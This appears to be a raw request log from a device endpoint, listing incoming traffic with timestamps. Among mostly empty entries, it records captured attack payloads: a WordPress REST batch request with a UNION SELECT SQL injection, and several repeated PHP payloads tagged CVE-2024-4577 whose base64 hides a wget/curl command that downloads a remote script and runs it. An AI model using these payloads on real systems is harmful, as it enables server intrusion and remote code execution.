设备 POST 目标:http://baoye.fsdinfo.com(固定,不可改)
| 时间 | 方向 | 原始 JSON | 解析数据 |
|---|---|---|---|
| 2026-11-05 11:23:44 | RECV | null |
|
| 2026-11-04 11:17:25 | RECV | null |
|
| 2026-11-03 18:33:23 | RECV | <?xml version="1.0" encoding="UTF-8"?> <config-auth client="vpn" type="init" aggregate-auth-version="2"> <version who="vpn">3.1.05160</version> <device-id device-type="iPhone13,1" platform-version="15.0.1" unique-id="ABCDEF1234567890">iOS</device-id> <mac-address-list> <mac-address>01:23:45:67:89:AB</mac-address> </mac-address-list> <group-select>VPN</group-select> <group-access>https://47.92.64.254:443</group-access> </config-auth> |
null |
| 2026-11-03 16:18:57 | RECV | null |
|
| 2026-11-03 08:27:39 | RECV | null |
|
| 2026-11-03 05:10:24 | RECV | <?xml version="1.0" encoding="UTF-8"?> <config-auth client="vpn" type="init" aggregate-auth-version="2"> <version who="vpn">3.1.05160</version> <device-id device-type="iPhone13,1" platform-version="15.0.1" unique-id="ABCDEF1234567890">iOS</device-id> <mac-address-list> <mac-address>01:23:45:67:89:AB</mac-address> </mac-address-list> <group-select>VPN</group-select> <group-access>https://47.92.64.254:443</group-access> </config-auth> |
null |
| 2026-11-02 22:04:25 | RECV | null |
|
| 2026-11-02 17:35:18 | SEND | {"devsn":"","func":"","timestamp":"","code":"1"} |
{
"devsn": "",
"func": "",
"timestamp": "",
"code": "1"
} |
| 2026-11-02 17:35:18 | RECV | {"requests": [{"method": "POST", "path": "///"}, {"method": "POST", "path": "/wp/v2/posts", "body": {"requests": [{"method": "POST", "path": "///"}, {"method": "GET", "path": "/wp/v2/posts/999999?author_exclude=0%29+UNION+SELECT+999999%2C2%2C0x323032302d30312d30312030303a30303a3030%2C0x323032302d30312d30312030303a30303a3030%2C5%2CCONCAT%280x7c7c%2CHEX%28CAST%28%28SELECT+0x4f4b%29AS+CHAR%29%29%2C0x7c7c%29%2C7%2C0x7075626c697368%2C9%2C10%2C11%2C12%2C13%2C14%2C0x323032302d30312d30312030303a30303a3030%2C0x323032302d30312d30312030303a30303a3030%2C17%2C18%2C19%2C20%2C0x706f7374%2C22%2C23--+-&orderby=none&per_page=500"}, {"method": "GET", "path": "/wp/v2/posts"}]}}, {"method": "POST", "path": "/batch/v1", "body": {"requests": []}}]} |
{
"requests": [
{
"method": "POST",
"path": "\/\/\/"
},
{
"method": "POST",
"path": "\/wp\/v2\/posts",
"body": {
"requests": [
{
"method": "POST",
"path": "\/\/\/"
},
{
"method": "GET",
"path": "\/wp\/v2\/posts\/999999?author_exclude=0%29+UNION+SELECT+999999%2C2%2C0x323032302d30312d30312030303a30303a3030%2C0x323032302d30312d30312030303a30303a3030%2C5%2CCONCAT%280x7c7c%2CHEX%28CAST%28%28SELECT+0x4f4b%29AS+CHAR%29%29%2C0x7c7c%29%2C7%2C0x7075626c697368%2C9%2C10%2C11%2C12%2C13%2C14%2C0x323032302d30312d30312030303a30303a3030%2C0x323032302d30312d30312030303a30303a3030%2C17%2C18%2C19%2C20%2C0x706f7374%2C22%2C23--+-&orderby=none&per_page=500"
},
{
"method": "GET",
"path": "\/wp\/v2\/posts"
}
]
}
},
{
"method": "POST",
"path": "\/batch\/v1",
"body": {
"requests": []
}
}
]
} |
| 2026-11-02 14:27:19 | RECV | <?php shell_exec(base64_decode("KHdnZXQgLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAtcU8tIGh0dHBzOi8vMjE3LjYwLjEwMi41L3NoIHx8IGN1cmwgLXNrIGh0dHBzOi8vMjE3LjYwLjEwMi41L3NoKSB8IHNoIC1zIGN2ZV8yMDI0XzQ1Nzc=")); echo(md5("Hello CVE-2024-4577")); ?> |
null |
| 2026-11-02 14:27:07 | RECV | <?php shell_exec(base64_decode("KHdnZXQgLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAtcU8tIGh0dHBzOi8vMjE3LjYwLjEwMi41L3NoIHx8IGN1cmwgLXNrIGh0dHBzOi8vMjE3LjYwLjEwMi41L3NoKSB8IHNoIC1zIGN2ZV8yMDI0XzQ1Nzc=")); echo(md5("Hello CVE-2024-4577")); ?> |
null |
| 2026-11-02 14:27:01 | RECV | <?php shell_exec(base64_decode("KHdnZXQgLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAtcU8tIGh0dHBzOi8vMjE3LjYwLjEwMi41L3NoIHx8IGN1cmwgLXNrIGh0dHBzOi8vMjE3LjYwLjEwMi41L3NoKSB8IHNoIC1zIGN2ZV8yMDI0XzQ1Nzc=")); echo(md5("Hello CVE-2024-4577")); ?> |
null |
| 2026-11-01 09:37:33 | RECV | <?php shell_exec(base64_decode("KHdnZXQgLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAtcU8tIGh0dHBzOi8vMjE3LjYwLjEwMi41L3NoIHx8IGN1cmwgLXNrIGh0dHBzOi8vMjE3LjYwLjEwMi41L3NoKSB8IHNoIC1zIGN2ZV8yMDI0XzQ1Nzc=")); echo(md5("Hello CVE-2024-4577")); ?> |
null |
| 2026-11-01 09:37:33 | RECV | <?php shell_exec(base64_decode("KHdnZXQgLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAtcU8tIGh0dHBzOi8vMjE3LjYwLjEwMi41L3NoIHx8IGN1cmwgLXNrIGh0dHBzOi8vMjE3LjYwLjEwMi41L3NoKSB8IHNoIC1zIGN2ZV8yMDI0XzQ1Nzc=")); echo(md5("Hello CVE-2024-4577")); ?> |
null |
| 2026-11-01 09:37:33 | RECV | <?php shell_exec(base64_decode("KHdnZXQgLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSAtcU8tIGh0dHBzOi8vMjE3LjYwLjEwMi41L3NoIHx8IGN1cmwgLXNrIGh0dHBzOi8vMjE3LjYwLjEwMi41L3NoKSB8IHNoIC1zIGN2ZV8yMDI0XzQ1Nzc=")); echo(md5("Hello CVE-2024-4577")); ?> |
null |
| 2026-11-01 08:44:05 | RECV | null |